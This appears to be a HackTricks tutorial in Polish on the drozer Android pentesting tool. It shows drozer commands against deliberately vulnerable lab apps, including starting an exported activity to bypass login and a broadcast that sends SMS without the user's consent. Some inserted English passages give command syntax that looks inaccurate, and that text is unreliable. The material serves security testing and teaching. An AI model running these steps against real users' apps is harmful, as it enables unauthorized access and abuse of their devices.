hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
2024-02-11 01:46:25 +00:00

344 lines
18 KiB
Markdown

# Samouczek Drozera
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Wskazówka dotycząca bug bounty**: **zarejestruj się** na platformie **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## APK do testowania
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (od mrwlabs)
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Części tego samouczka zostały wyjęte z [Drozer documentation pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf).**
## Instalacja
Zainstaluj klienta Drozer w swoim hoście. Pobierz go z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases).
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
Pobierz i zainstaluj plik APK drozer z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases). W tym momencie jest to [ten](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```bash
adb install drozer.apk
```
### Uruchamianie serwera
Agent działa na porcie 31415, musimy [przekierować port](https://pl.wikipedia.org/wiki/Przekierowanie_port%C3%B3w) w celu nawiązania komunikacji między klientem Drozer a Agentem. Oto polecenie, które należy wykonać:
```bash
adb forward tcp:31415 tcp:31415
```
W końcu, **uruchom** **aplikację** i naciśnij przycisk "**ON**"
![](<../../../.gitbook/assets/image (63).png>)
Następnie połącz się z nią:
```bash
drozer console connect
```
## Interesujące polecenia
| **Polecenia** | **Opis** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | Wyświetla pomoc dla wybranego modułu |
| **list** | Wyświetla listę wszystkich modułów drozera, które można uruchomić w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. |
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście agenta. |
| **clean** | Usuwa tymczasowe pliki przechowywane przez drozera na urządzeniu Android. |
| **load** | Wczytuje plik zawierający polecenia drozera i wykonuje je sekwencyjnie. |
| **module** | Znajduje i instaluje dodatkowe moduły drozera z Internetu. |
| **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do każdej powłoki Linux, którą uruchamia. |
| **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do każdej powłoki Linux uruchamianej przez drozera. |
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście agenta. |
| **run MODULE** | Wykonuje moduł drozera |
| **exploit** | Drozer może tworzyć exploity do wykonania na urządzeniu. `drozer exploit list` |
| **payload** | Exploity wymagają payloadu. `drozer payload list` |
### Pakiet
Znajdź **nazwę** pakietu, filtrowanie po części nazwy:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**Podstawowe informacje** o pakiecie:
```bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
Przeczytaj **Manifest**:
```bash
run app.package.manifest jakhar.aseem.diva
```
**Powierzchnia ataku** pakietu:
```bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
```
* **Aktywności**: Może można uruchomić aktywność i ominąć pewnego rodzaju autoryzację, która powinna Cię powstrzymać przed jej uruchomieniem.
* **Dostawcy treści**: Może można uzyskać dostęp do prywatnych danych lub wykorzystać jakąś podatność (wstrzyknięcie SQL lub przechodzenie ścieżek).
* **Usługi**:
* **is debuggable**: [Dowiedz się więcej](./#is-debuggeable)
### Aktywności
Wartość "android:exported" składnika aktywności jest ustawiona na **"true"** w pliku AndroidManifest.xml:
```markup
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
**Lista wyeksportowanych aktywności**:
Aby wyświetlić listę wyeksportowanych aktywności w aplikacji Android, wykonaj następujące kroki:
1. Uruchom narzędzie drozer, wpisując polecenie `drozer console connect`.
2. Po połączeniu z urządzeniem, wpisz polecenie `run app.package.exported_activities -a <nazwa_pakietu>`, gdzie `<nazwa_pakietu>` to nazwa pakietu aplikacji, której aktywności chcesz sprawdzić.
3. Po wykonaniu polecenia, zostanie wyświetlona lista wszystkich wyeksportowanych aktywności w podanej aplikacji.
Przykład użycia:
```
run app.package.exported_activities -a com.example.app
```
Wynik:
```
Exported Activities:
- com.example.app.MainActivity
- com.example.app.SecondActivity
- com.example.app.SettingsActivity
```
Pamiętaj, że wyeksportowane aktywności mogą stanowić potencjalne zagrożenie dla bezpieczeństwa aplikacji, dlatego ważne jest, aby odpowiednio zabezpieczyć je przed nieautoryzowanym dostępem.
```bash
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**Rozpoczęcie aktywności**:
Możesz spróbować rozpocząć aktywność i ominąć pewnego rodzaju autoryzację, która powinna Cię powstrzymać przed jej uruchomieniem.
{% code overflow="wrap" %}
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
{% endcode %}
Możesz również uruchomić wyeksportowaną aktywność za pomocą **adb**:
* Nazwa pakietu to com.example.demo
* Nazwa wyeksportowanej aktywności to com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### Dostawcy treści
Ten post jest tak duży, że **możesz** [**uzyskać do niego dostęp na osobnej stronie tutaj**](exploiting-content-providers.md).
### Usługi
Usługa eksportowana jest deklarowana w pliku Manifest.xml:
{% code overflow="wrap" %}
```markup
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
{% endcode %}
Wewnątrz kodu **sprawdź** funkcję \*\*`handleMessage`\*\*, która będzie **odbierać** **wiadomość**:
![](<../../../.gitbook/assets/image (194).png>)
#### Lista usług
```bash
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
```
#### **Komunikacja** z usługą
To interact with a service, you need to establish a connection and send requests to it. In the case of Android app pentesting, you can use drozer to interact with the app's services.
A service is a component of an Android app that runs in the background without a user interface. It performs long-running operations or handles remote requests. By interacting with a service, you can gather information, manipulate data, or even exploit vulnerabilities.
Drozer provides a command-line interface to interact with Android app services. You can use the `run` command to execute drozer modules that interact with the app's services. These modules are designed to perform specific tasks, such as listing services, invoking methods, or querying content providers.
To interact with a service using drozer, follow these steps:
1. Start drozer by running the command `drozer console connect`.
2. Connect to the target device by running the command `run app.package.list -f <package_name>`.
3. List the services available in the app by running the command `run app.service.list -f <package_name>`.
4. Choose a service to interact with and gather information about it by running the command `run app.service.info -f <package_name> -u <service_name>`.
5. Invoke methods on the service by running the command `run app.service.send <package_name> <service_name> <method_name> <arguments>`.
6. Analyze the responses and gather any relevant information.
By interacting with an app's services, you can gain a deeper understanding of its functionality and identify potential security vulnerabilities. This knowledge can be used to enhance your pentesting efforts and ensure the app's security.
```bash
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
```
#### Przykład
Zajrzyj do pomocy **drozera** dla `app.service.send`:
![](<../../../.gitbook/assets/image (196) (1).png>)
Zauważ, że najpierw wysyłasz dane wewnątrz "_msg.what_", następnie "_msg.arg1_" i "_msg.arg2_", powinieneś sprawdzić w kodzie **jakie informacje są używane** i gdzie.\
Używając opcji `--extra` możesz wysłać coś, co zostanie zinterpretowane jako "_msg.replyTo"_, a używając `--bundle-as-obj` tworzysz obiekt z podanymi szczegółami.
W poniższym przykładzie:
* `what == 2354`
* `arg1 == 9234`
* `arg2 == 1`
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
```bash
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
```
![](<../../../.gitbook/assets/image (195).png>)
### Odbiorniki transmisji
**W sekcji podstawowych informacji o Androidzie możesz zobaczyć, czym jest odbiornik transmisji**.
Po odkryciu tych odbiorników transmisji powinieneś **sprawdzić ich kod**. Zwróć szczególną uwagę na funkcję **`onReceive`**, ponieważ to właśnie ona będzie obsługiwać otrzymane wiadomości.
#### Wykrywanie wszystkich odbiorników transmisji
```bash
run app.broadcast.info #Detects all
```
#### Sprawdź odbiorniki nadawcze aplikacji
Aby sprawdzić odbiorniki nadawcze aplikacji, możesz użyć narzędzia `drozer`. `drozer` to framework do testowania penetracyjnego aplikacji mobilnych na platformie Android. Poniżej przedstawiono kroki, które należy podjąć, aby sprawdzić odbiorniki nadawcze aplikacji przy użyciu `drozera`:
1. Uruchom `drozera` na swoim urządzeniu lub emulatorze Android.
2. Połącz się z urządzeniem za pomocą polecenia `connect <adres IP urządzenia>`.
3. Wyświetl listę zainstalowanych aplikacji za pomocą polecenia `run app.package.list`.
4. Wybierz aplikację, której odbiorniki nadawcze chcesz sprawdzić, za pomocą polecenia `run app.package.info -a <nazwa pakietu aplikacji>`.
5. Wyświetl listę odbiorników nadawczych aplikacji za pomocą polecenia `run app.broadcast.info -a <nazwa pakietu aplikacji>`.
Dzięki tym krokom będziesz mógł sprawdzić odbiorniki nadawcze aplikacji przy użyciu narzędzia `drozer`.
```bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### Interakcje **Broadcastów**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### Wyślij wiadomość
W tym przykładzie, wykorzystując apkę [FourGoats](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) i dostawcę treści, możesz **wysłać dowolną wiadomość SMS** do dowolnego niepremiumowego celu **bez pytania** użytkownika o zgodę.
![](<../../../.gitbook/assets/image (199).png>)
![](<../../../.gitbook/assets/image (197) (1).png>)
Jeśli przeczytasz kod, parametry "_phoneNumber_" i "_message_" muszą zostać przesłane do dostawcy treści.
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### Czy jest możliwe debugowanie
Produkcyjne pliki APK nigdy nie powinny być debugowalne.\
Oznacza to, że można **podłączyć debugger javy** do działającej aplikacji, przeglądać ją w czasie rzeczywistym, ustawiać punkty przerwania, krok po kroku analizować, zbierać wartości zmiennych, a nawet je zmieniać. [InfoSec institute ma doskonały artykuł](../exploiting-a-debuggeable-application.md) na temat zagłębiania się w aplikację, gdy jest ona debugowalna i wstrzykiwania kodu w czasie wykonania.
Gdy aplikacja jest debugowalna, pojawi się to w Manifest:
```xml
<application theme="@2131296387" debuggable="true"
```
Możesz znaleźć wszystkie aplikacje, które można debugować za pomocą **Drozera**:
```bash
run app.package.debuggable
```
## Samouczki
* [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
* [https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
* [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
* [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
## Więcej informacji
* [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Wskazówka dotycząca nagrody za błąd**: **zarejestruj się** na platformie **Intigriti**, premium **platformie nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>